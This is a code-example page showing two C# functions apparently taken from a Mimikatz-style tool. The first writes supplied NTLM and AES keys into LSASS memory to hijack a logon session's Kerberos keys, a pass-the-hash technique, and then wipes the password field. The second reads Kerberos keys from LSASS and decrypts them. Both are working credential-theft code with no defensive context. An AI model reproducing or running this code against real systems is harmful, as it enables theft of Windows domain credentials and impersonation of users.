예제 #1
0
        public static void WriteKerberosKeys(ref IntPtr hLsass, KerberosLogonItem krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA pthData)
        {
            Type kerberossessiontype = oshelper.KerberosLogonSessionType;
            Type kerberoshshtype     = oshelper.KerberosHashType;

            byte[] krbrLogonSessionBites = krbrLogonSession.LogonSessionBytes;

            byte[] encNtlmHashBytes = null;
            byte[] encAes128Bytes   = null;
            byte[] encAes256Bytes   = null;

            IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSessionBites, oshelper.KerberosLogonSessionKeyListOffset));

            if (pKeyList == IntPtr.Zero)
            {
                return;
            }

            LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBites, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID))));

            if (pthData.LogonId.HighPart != luid.HighPart || pthData.LogonId.LowPart != luid.LowPart)
            {
                return;
            }

            byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6)));

            if (pthData.NtlmHash != null)
            {
                encNtlmHashBytes = Crypto.BCrypt.EncryptCredentials(pthData.NtlmHash, iv, aeskey, deskey);
            }
            if (pthData.Aes128Key != null)
            {
                encAes128Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes128Key, iv, aeskey, deskey);
            }
            if (pthData.Aes256Key != null)
            {
                encAes256Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes256Key, iv, aeskey, deskey);
            }

            int items      = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem"));
            int structsize = Marshal.SizeOf(kerberoshshtype);

            int readsize = items * structsize;

            byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize);

            pthData.isReplaceOk = true;
            for (int i = 0; (i < items) && pthData.isReplaceOk; i++)
            {
                byte[] bytesToWrite = null;

                int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset;

                byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC)));

                KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes);

                string keyentry = KerberosTicketEtype((int)entry.Type);

                UNICODE_STRING checksum = new UNICODE_STRING
                {
                    Length        = (ushort)entry.Size,
                    MaximumLength = (ushort)entry.Size,
                    Buffer        = entry.Checksump
                };

                if (encNtlmHashBytes != null && ((entry.Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (entry.Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && ((int)entry.Size == LM_NTLM_HASH_LENGTH))
                {
                    bytesToWrite = encNtlmHashBytes;
                }
                else if (encAes128Bytes != null && (entry.Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_128_KEY_LENGTH))
                {
                    bytesToWrite = encAes128Bytes;
                }
                else if (encAes256Bytes != null && (entry.Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_256_KEY_LENGTH))
                {
                    bytesToWrite = encAes256Bytes;
                }

                if (bytesToWrite != null)
                {
                    pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, checksum.Buffer, bytesToWrite);
                }
            }

            if (pthData.isReplaceOk)
            {
                byte[] pasreplace = new byte[oshelper.KerberosPasswordEraseSize];
                pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, IntPtr.Add(krbrLogonSession.LogonSessionAddress, oshelper.KerberosOffsetPasswordErase), pasreplace);
            }
        }
예제 #2
0
        public static void GetKerberosKeys(ref IntPtr hLsass, byte[] krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist)
        {
            Type kerberossessiontype = oshelper.KerberosLogonSessionType;
            Type kerberoshshtype     = oshelper.KerberosHashType;

            IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSession, oshelper.KerberosLogonSessionKeyListOffset));

            if (pKeyList == IntPtr.Zero)
            {
                return;
            }

            LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSession, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID))));

            byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6)));

            int items      = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem"));
            int structsize = Marshal.SizeOf(kerberoshshtype);

            int readsize = items * structsize;

            byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize);

            for (int i = 0; i < items; i++)
            {
                int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset;

                byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC)));

                KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes);

                string keyentry = KerberosTicketEtype((int)entry.Type);

                KerberosKey kkey = new KerberosKey();
                kkey.Type = keyentry;

                UNICODE_STRING checksum = new UNICODE_STRING
                {
                    Length        = (ushort)entry.Size,
                    MaximumLength = (ushort)entry.Size,
                    Buffer        = entry.Checksump
                };

                if ((int)entry.Size > 0)
                {
                    if ((int)entry.Size > Utility.FieldOffset <LSAISO_DATA_BLOB>("data"))
                    {
                        if ((int)entry.Size <= (Utility.FieldOffset <LSAISO_DATA_BLOB>("data") + ("KerberosKey".Length - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
                        {
                            byte[]           isoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB)));
                            LSAISO_DATA_BLOB isoblob      = Utility.ReadStruct <LSAISO_DATA_BLOB>(isoblobBytes);

                            kkey.Key = GenericLsaIsoOutput(isoblob);
                        }
                        else
                        {
                            byte[] encisoblobBytes          = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB)));
                            ENC_LSAISO_DATA_BLOB encisoblob = Utility.ReadStruct <ENC_LSAISO_DATA_BLOB>(encisoblobBytes);

                            kkey.Key = GenericEncLsaIsoOutput(encisoblob, (int)entry.Size);
                        }
                    }
                    else
                    {
                        byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, checksum.MaximumLength);

                        byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey);
                        kkey.Key = Utility.PrintHashBytes(msvDecryptedPasswordBytes);
                    }
                }
                else
                {
                    kkey.Key = "<no size, buffer is incorrect>";
                }

                Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart);

                if (currentlogon != null)
                {
                    if (currentlogon.KerberosKeys == null)
                    {
                        currentlogon.KerberosKeys = new List <KerberosKey>();
                    }

                    currentlogon.KerberosKeys.Add(kkey);
                }
            }
        }